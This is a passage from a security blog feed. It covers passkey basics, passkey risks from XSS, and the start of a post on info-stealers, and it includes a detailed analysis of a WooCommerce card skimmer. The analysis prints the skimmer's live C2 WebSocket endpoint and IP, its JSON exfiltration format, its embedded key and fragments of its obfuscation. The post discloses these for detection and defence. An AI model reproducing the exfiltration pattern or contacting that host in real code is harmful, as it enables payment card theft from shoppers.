https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png 660w"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Out-Of-Band Notification on Registration</h4>
    <!--kg-card-end: html-->
    <p>If a new passkey is added to the account of one of your users, you should absolutely be notifying them that this has happened. Send out a notification, via email or any other means, to your user as soon as a new passkey is added to their account. If they were not expecting this to have happened, they can take immediate steps to protect their account.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="717" height="570" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-8.png 717w"></figure><p></p><h3 id="these-are-problems-that-report-uri-can-solve">These Are Problems That Report URI Can Solve</h3><p>As a specialised client-side protection platform, it stands to reason that Report URI can help you defend against these client-side attacks. I&apos;m going to keep it brief here as the main purpose of this blog post is to highlight the risks above, but this is a topic we&apos;ve done a lot of research on and we can provide some real value.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-2.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><ul><li>Get a <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> deployed and get real-time feedback from the browser about what&apos;s happening in the page as your visitors see it.</li><li>Use our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> to keep track of your third-party JavaScript dependencies, and when they change. </li><li>Audit the use of Subresource Integrity across your site using <a href="https://report-uri.com/products/integrity_policy?ref=scotthelme.ghost.io" rel="noreferrer">Integrity Policy</a> and keep your JavaScript Supply Chain secure. </li><li>Deploy a <a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> on your site and lock down the use of powerful JavaScript APIs.</li></ul><p></p><p>We&#x2019;ve also put together a dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> and whitepaper for teams who want practical guidance on finding and reducing these risks.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Using <code>attestation: &quot;none&quot;</code> isn&apos;t a problem, it&apos;s a trade-off between security and convenience. The hidden risk is overlooking the threat of a page-level adversary, who is always going to cause you problems, but they can cause some particularly big problems when it comes to passkeys.</p><p>Passkeys remain the right direction, and I want to see widespread adoption of them, but the security boundary they replace (passwords) was a single secret on the wire. The boundary they introduce, a ceremony brokered by the user agent, only holds if the user agent, and everything injected into it, can be trusted. This is why XSS becomes deadly to passkeys.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-http.min.js" integrity="sha512-3KphgbiKTzK2CNxlSgUKypipTV7tWknO5czNb+E7H4CeHOOSer2s2rIOCTuz8NsY1zm+B9tP9Ul2JX/tmdyOYg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    <p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Passkeys 101: An Introduction to Passkeys and How They Work]]></title>
                <description><![CDATA[<p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be</p>]]></description>
                <link>https://scotthelme.ghost.io/passkeys-101-an-introduction-to-passkeys-and-how-they-work/</link>
                <guid isPermaLink="false">6a060a6ed5ad2e0001eb50ed</guid>
                <category><![CDATA[Passkeys]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 18 May 2026 09:16:29 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" alt="Passkeys 101: An Introduction to Passkeys and How They Work"><p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be seriously considering support for them.</p><p></p><h3 id="why-passwords-are-a-problem">Why passwords are a problem</h3><p>I think anyone reading this blog post will understand why passwords are a problem, but I&apos;m going to outline it here to set the scene for why passkeys are such a huge improvement. The truth is, passwords can be a pain, and we&apos;ve been fighting that pain for decades. We&#x2019;ve battled password strength requirements, password reuse, credential stuffing, password spraying, database leaks, trivial phishing, and the recent rise of info-stealer malware. We&#x2019;ve also had to build layers of defensive engineering around passwords, like salting, hashing, breached-password checks, and stronger password policies, just to make them survivable. The truth is, we&apos;ve been using passwords for so long because they were the best thing we had, not because they&apos;re great. </p><p>I first wrote about password security all the way back in 2013 (<a href="https://scotthelme.co.uk/password-security/?ref=scotthelme.ghost.io" rel="noreferrer">link</a>) and much more recently we&apos;ve had to bring a sharp focus on our handling of passwords at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. I covered this in <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">Boosting password security! Pwned Passwords, zxcvbn, and more!</a> and then <a href="https://scotthelme.co.uk/under-attack-responding-to-the-rise-of-info-stealer-threats/?ref=scotthelme.ghost.io" rel="noreferrer">Under Attack: Responding to the Rise of Info-Stealer Threats</a> in just the last few months. Passwords continue to be a problem! 2FA has helped, and provided a much needed crutch for passwords over the years, but it doesn&apos;t solve the phishing problem which is arguably one of the biggest risks with passwords and current generation 2FA as my good friend Troy Hunt found out last year when he got his <a href="https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/?ref=scotthelme.ghost.io" rel="noreferrer">password and TOTP phished</a>. We need something better, much better.</p><p></p><h3 id="what-are-passkeys">What Are Passkeys?</h3><p>In really simple terms, passkeys are another way to authenticate a user. Just as a website might ask me for my username and password to authenticate me and log me in, they can instead rely on passkeys to do that, but with some considerable advantages. At their core, passkeys are just a pair of cryptographic keys, a public key and a private key. As their names would imply, the public key can be made public and shared with the website, whilst the private key remains private and secure on your device, not being shared with anyone. In many cases, that private key is protected by the same mechanism you already use to unlock your device or password manager, such as biometrics, a PIN, or a local device unlock.</p><p></p><h3 id="how-passkeys-work-at-a-high-level">How Passkeys Work at a High Level</h3><p>It&apos;s surprisingly easy to give an overview of how passkeys work, both in terms of creating a passkey, and then using that passkey to access your account. Here&apos;s a diagram that details the entire process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png" class="kg-image" alt="Passkeys 101: An Introduction to Passkeys and How They Work" loading="lazy" width="1742" height="1307" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/05/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The first step of this process is known as Registration. This is when you create your key pair, securely store your private key on your device and share your public key with the website in question. The website will then store this public key against your account so they know it&apos;s yours. The passkey has now been registered and is ready to use!</p><p>The second step of the process is Authentication. This is when you then come to prove who you are by utilising your previously registered passkey. The website will issue a challenge to you and you must sign that challenge with your private key. You then return this signed challenge to the website which can validate that signature with your public key. This proves that whoever the website is talking to can use the private key associated with that account. Because the private key is protected by your device or passkey provider, that gives the website strong evidence that it is talking to you.</p><p></p><h3 id="why-passkeys-are-better">Why Passkeys Are Better</h3><p>There are a few different areas where passkeys excel when compared to passwords, and each of them is compelling, so I&apos;m going to talk about all of the main advantages.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">Phishing Resistance</h4>
    <!--kg-card-end: html-->
    <p>Undoubtedly, this has to be the single biggest advantage of using passkeys; they are incredibly resistant to phishing. You can be tricked into giving up your password by mistake, you can be tricked into giving up your 6-digit TOTP code by mistake, but you can&apos;t be tricked into giving up your passkey by mistake. When you register your passkey and it&apos;s stored on your device, your device will lock that passkey to the origin that it can be used for. That means if you create a passkey on <code>report-uri.com</code>, but then find yourself on a phishing website like <code>rep0rt-ur1.com</code> that&apos;s impersonating us and is trying to phish your credentials, your device will simply not allow you to use your passkey because you are not in the right place. Your device now knows where your passkey can be used, and it will not let you use it anywhere else, which is a protection that can&apos;t be offered for passwords.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Weak Passwords</h4>
    <!--kg-card-end: html-->
    <p>Everyone knows that we can create weak passwords if we wanted to, but you can&apos;t create a weak passkey. Because the generation of the passkey is handled by your device, you can be sure that you&apos;re always generating a strong passkey and don&apos;t run into similar risks posed by using a weak password. Nobody is going to be able to guess your passkey like they might be able to guess a weak password, because you&apos;ll never have a weak passkey.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Password Reuse</h4>
    <!--kg-card-end: html-->
    <p>There&apos;s nothing stopping you from reusing your password across different services, but your device is required to create a new, unique passkey for each website that you register with. This means that there are no shared passkeys across different services and another category of risk is eliminated.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Credential Stuffing or Password Spraying</h4>
    <!--kg-card-end: html-->
    <p>Largely as a consequence of the above two points, an attacker can&apos;t use these two common and effective strategies for trying to gain access to accounts that they shouldn&apos;t have access to. With no more weak and/or reused credentials, you can say goodbye to some pretty serious problems.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No Shared Secret in your Database</h4>
    <!--kg-card-end: html-->
    <p>When adding a passkey to an account, the website is required to store the public key in their database. The public key, as we mentioned and as hinted by its name, is not a secret! This means that in the event of a database breach, there isn&apos;t an additional piece of sensitive information in there to be compromised and all the attacker has managed to gain access to is the public key of the user. The private key remains safe and secure on the user&apos;s device that created it.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Passkeys are a major step forward, but they aren&apos;t magic. They remove many password-era risks, especially phishing and credential reuse, but they also introduce new implementation and threat-model questions. I&#x2019;ll be digging into one of those in much more detail in my next post.</p><p>We recently launched support for passkeys on Report URI and you can read about that here: <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Launching Passkeys support on Report URI!</a> We also had our passkeys implementation penetration tested, <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">Bringing in the experts; Having our Passkeys implementation Security Tested</a>. As you can see, we&apos;re pretty serious about passkeys!</p><p>With that said, there are some new considerations and risks that using passkeys brings, and I&apos;ve just started to cover those in <a href="https://scotthelme.co.uk/security-considerations-when-using-passkeys-on-your-website/?ref=scotthelme.ghost.io" rel="noreferrer">Security considerations when using Passkeys on your website</a>. That blog post links out to our whitepaper on the problem, but I will also be writing a more detailed blog post with some new information in the coming days, so make sure to subscribe so you&apos;re notified when I publish that!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive]]></title>
                <description><![CDATA[<p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach</p>]]></description>
                <link>https://scotthelme.ghost.io/anatomy-of-a-woocommerce-skimmer-a-technical-deep-dive/</link>
                <guid isPermaLink="false">69ef62b5417e7e00019a58ca</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[magecart]]></category>
                <category><![CDATA[WooCommerce]]></category>
                <category><![CDATA[javascript]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Fri, 15 May 2026 14:22:57 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive"><p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach that remains invisible until long after the damage is done.</p><p>We recently became aware of exactly this kind of compromise, where an attacker modified a JavaScript file on disk and injected malware into it. At first glance, that might seem like an unusual choice. If an attacker has enough access to modify files on the server, why settle for injecting JavaScript into an existing library?</p><p>In this case, there&#x2019;s a very good reason: the data they wanted to steal only existed in the browser, so that&apos;s where their malicious code needed to run.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="an-unusual-choice">An unusual choice</h3><p>If I&apos;d found a way to compromise a host to the point where I could modify files on disk, I&apos;m not sure that injecting JavaScript malware into an existing file would be my first choice when it came to deciding my course of action. Yet, here we are!</p><p>Looking at the website in question, my best guess would be a vulnerable WordPress plugin has allowed some level of remote access to the attackers and they&apos;ve leveraged that to modify an existing JS file. The compromised file was an existing and legitimate JS library, and the malware was injected at the start of the file, leaving the original library code intact later in the file. This is a common tactic aimed at reducing the disruption the injection causes as all original functionality remains, reducing the likelihood of being discovered.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="1693" height="774" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/image-8.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png 1693w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Given that their goal was clearly to skim payment card data, it also explains why their chosen course of action was to modify an existing JS asset rather than leverage much more powerful server-side access: The payment card data doesn&apos;t exist on the server, only on the client, so that&apos;s where they have to target it!</p><p></p><h3 id="evasion-and-anti-detection-techniques">Evasion and Anti-Detection Techniques</h3><p>Rather than add their own file to the page and load the malware in that way, the attackers inserted their code in an existing file, and did so in a way that would not interrupt how it worked. The injected code uses a rotating string array with RC4 encryption and per-call decryption keys (the same technique used by<br>professional JavaScript obfuscation products!), and a reversed, base64-encoded C2 URL:</p><pre><code>c3cvbW9jLm5kYy10c2V1cWVyLy86c3N3
    sw/moc.ndc-tseuqer//:ssw
    wss://request-cdn.com/ws</code></pre><p></p><p>On top of this, after the malicious code establishes its WebSocket connection, it then removes itself to avoid detection.</p><p></p><h3 id="data-theft">Data Theft</h3><p>Looking at the code and the fields on the page that it targets, it&apos;s pretty clear it&apos;s specifically designed for WooCommerce checkouts. The CSS selectors include every standard checkout field like <code>#billing_</code><em>, <code>#shipping_</code>, </em>etc... Not only is it targeting specific fields, the skimmer isn&apos;t just blindly exfiltrating data, it&apos;s doing validation on the data before it exfiltrates it. For the card number, it&apos;s using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm?ref=scotthelme.ghost.io" rel="noreferrer">Luhn Algorithm</a> to check that it&apos;s a valid card number, and it&apos;s also validating that the expiry date is a date in the future too!</p><p>On top of the desirable card data, it&apos;s also capturing other identity data that is present alongside the card data. This potentially includes your email address, phone number, full address including street/city/postcode/country, your browser UA and the hostname of the site. The code polls these fields in a loop every 500ms, presumably to catch autofill, paste, or JS-set values that don&apos;t trigger input or change events, but also progressively captures the data as you&apos;re typing, meaning it doesn&apos;t rely on an action like form submission for the exfiltration of complete data to happen. If you type in all of your card details and then have second thoughts about your purchase, it&apos;s already too late!</p><p>The final point that stood out to me is that the skimmer keeps a local record of card data that&apos;s already been stolen in localStorage, so if you were to return to the site and make another purchase using the same payment card, the skimmer wouldn&apos;t steal it a second time. How nice of them. </p><p></p><h3 id="data-exfiltration-mechanism">Data Exfiltration Mechanism</h3><p>Once the skimmer has identified some data that passes local validation and it wants to exfiltrate that data, it does so via a WebSocket over TLS. The data is sent to <code>wss://request-cdn.com/ws</code> in real-time using a simple JSON payload. </p><p></p><pre><code class="language-json">{
        &quot;method&quot;: &quot;data&quot;,
        &quot;host&quot;: &quot;victim-site.com&quot;,
        &quot;data&quot;: &quot;*card data here*&quot;
    }</code></pre><p></p><p>Although TLS protects the transmission itself, any security tool terminating and inspecting outbound TLS could still spot payment card data leaving the browser. To avoid this, the malware hides the card data by encrypting it with AES-256-GCM using a PBKDF2-derived key (100,000 iterations, SHA-256) before being sent, and the decryption key (<code>e2c6b94cc6b4</code>)  is embedded in the payload. This isn&apos;t an additional security mechanism to protect the card data, this is another evasion technique.</p><p>Along with a buffer in <code>localStorage</code> to handle multi-step payment flows or interruptions, a keepalive ping on the WebSocket, and even reconnection logic with backoff handling, I&apos;d say there&apos;s a robust strategy in place to make sure this data is going to be exfiltrated!</p><p></p><h3 id="infrastructure">Infrastructure</h3><p>C2 domain: <code>request-cdn.com</code> (mimics a CDN, registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code><br>Protocol: WebSocket over TLS (wss://)<br>Campaign ID: <code>e2c6b94cc6b4</code> (used as encryption key, unique per victim site)<br>Target platform: WooCommerce (WordPress)<br>Delivery vehicle: Modified <code>blazy.min.js</code> theme asset</p><p></p><h3 id="code-obfuscation-techniques">Code Obfuscation Techniques</h3><p>I mentioned that the code obfuscation being used was quite advanced and whilst I don&apos;t want to delve into it too much as it doesn&apos;t really affect the outcome or the purpose of this script, I thought it was interesting and worth covering at a high level.</p><p>Any readable string in the code &#x2014; method names, property names, URLs, algorithm names &#x2014; are stripped out and dumped into a single, giant array. Instead of the code saying something like:</p><p></p><pre><code>localStorage.setItem(&apos;TTxxp&apos;, data);
    new WebSocket(&apos;wss://request-cdn.com/ws&apos;);</code></pre><p></p><p>Every string is replaced with a function call that looks up the array at runtime:</p><p></p><pre><code>localStorage[R(0x22b,&apos;73VL&apos;)](R(0x1aa,&apos;N@oZ&apos;), data);
    new WebSocket(R(0x26d,&apos;Mb$3&apos;));</code></pre><p></p><p>There are no readable strings <em>anywhere</em> in the code. A human reading it sees nothing but hex numbers and short, random-looking keys.</p><p>The strings in the array aren&apos;t stored in plain text either &#x2014; they&apos;re individually encrypted using the RC4 stream cipher. So, even if you dump the array, you just get a list of random-looking base64 blobs like these:</p><p></p><pre><code>&apos;WQtdUGxdQSodW7a&apos;, &apos;p0hdIL5wlCoP&apos;, &apos;W5iRx8oghaRdMq&apos; ...</code></pre><p></p><p>The <code>R()</code> function, or <code>a0j()</code> in the loader, decrypts each entry on demand using a two-step process &#x2014; first base64-decode the blob, then run RC4 on it to get the<br>plaintext back. To make this even more tricky, the payload uses per-call decryption keys. Each call to R() passes a different key:</p><p></p><pre><code>R(0x22b, &apos;73VL&apos;) // &#x2192; &quot;setItem&quot;
    R(0x1aa, &apos;N@oZ&apos;) // &#x2192; &quot;TTxxp&quot;
    R(0x26d, &apos;Mb$3&apos;) // &#x2192; &quot;wss://&quot;</code></pre><p></p><p>The second argument (<code>&apos;73VL&apos;</code>, <code>&apos;N@oZ&apos;</code>, <code>&apos;Mb$3&apos;</code>) is the RC4 key for that specific string. Every string in the array is encrypted with a different key, hardcoded at its<br>call site. This means:</p><ol><li>We couldn&apos;t decrypt the whole array in one go &#x2014; you need to know which key goes with which index and use the right one.</li><li>Automated tools that try to extract string arrays will get garbage unless they also trace every individual call.</li></ol><p></p><p>Further to this, at start up, the payload runs through a self-checking loop and shuffles/rotates the array.</p><p></p><pre><code>while(!![]){
    try {
    const j = parseInt(...) / 1 + parseInt(...) / 2 * ...
    if(j === 0x87dfa) break;
    else S&apos;push&apos;;
    } catch(c) { S&apos;push&apos;; }
    }</code></pre><p></p><p>It keeps rotating the array &#x2014; moving the first element to the end, over and over &#x2014; until a specific arithmetic check across multiple entries produces the exact target<br>value of <code>0x87dfa</code>. This means:</p><ol><li>The array indices in source code don&apos;t correspond to their actual positions until the correct rotation is found.</li><li>You can&apos;t statically know which entry is at index 28 without running or simulating the shuffle to completion.</li><li>It defeats simple array extraction because the indices only make sense after rotation</li></ol><p></p><p>All in all, there are some pretty advanced techniques at play here, all designed to make it more difficult to detect and stop this attack.</p><p></p><h3 id="how-report-uri-would-have-caught-this">How Report URI would have caught this</h3><p>This is <em>exactly</em> the kind of attack Report URI can catch &#x2014; and it would have tripped two separate alarms. <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> fingerprints your JavaScript assets using our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> feature so you can know the instant one of your JS assets changes; the moment <code>blazy.min.js</code> was modified on disk and served to the very first visitor, you&apos;d have known. If that wasn&apos;t enough, the exfil itself was loud: a CSP with <code>connect-src</code> scoped to your own infrastructure blocks the <code>wss://request-cdn.com/ws</code> connection outright, stopping the exfiltration, and Report URI&apos;s reporting endpoint surfaces the violation the first time a victim hits checkout and sends you a notification. Either control on its own detects or stops this campaign; together they provide robust protection. If you run WooCommerce &#x2014; or any page where payment card data touches the browser &#x2014; these controls aren&#x2019;t nice-to-haves. They&#x2019;re the difference between spotting a compromise within minutes, or discovering it months later during breach notifications, chargebacks, or forensic investigation.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>C2 Domain: <code>request-cdn.com</code> (registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">Report URI</a>. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry immediately.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Under Attack: Responding to the Rise of Info-Stealer Threats]]></title>
                <description><![CDATA[<p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-</p>]]></description>
                <link>https://scotthelme.ghost.io/under-attack-responding-to-the-rise-of-info-stealer-threats/</link>
                <guid isPermaLink="false">69bbb64cbfb9340001a6c265</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Info Stealer]]></category>
                <category><![CDATA[Pwned Passwords]]></category>
                <category><![CDATA[Have I Been Pwned]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 11 May 2026 13:10:11 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" alt="Under Attack: Responding to the Rise of Info-Stealer Threats"><p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-stealer malware: compromised devices where usernames, passwords, cookies and other sensitive data had been harvested. This post walks through what happened, why our existing controls helped but we wanted to improve, and the new account lockout process we&#x2019;ve introduced as a result.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="info-stealers">Info Stealers</h3><p>The first thing we need to do is understand the specific threat we&apos;re dealing with here. Info Stealers are a serious problem for services like ours because of how they operate. Info-stealer malware will infect a device and then start to harvest sensitive data from that device, which could include anything like usernames, passwords, payment card details, cookies from your browser, documents, and much, much more. If one of our customers is using a device that has been infected with info-stealer malware, our primary concern is that the account credentials have been compromised, which is what happened in this case. The email address and password for a Report URI account is accessed by the malware on the user&apos;s device when it is used to login...</p><p>As a website operator, despite the multiple layers of account security we have, no online service can fully defend against this type of threat. If the user&apos;s device is compromised and their account credentials are harvested directly from it, we have to acknowledge the limits of our own capabilities as a website, and that those credentials are going to be taken.</p><p></p><h3 id="existing-account-security-controls">Existing Account Security Controls</h3><p>We&apos;re pretty open about how we do things at Report URI, and we&apos;ve already published a lot of information about how we handle account security. You can read my full blog post on <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">boosting password security</a>, but here&apos;s a summary of the existing measures we have in place:</p><p></p><h4 id="zxcvbn">zxcvbn</h4><p>If you haven&apos;t heard of <a 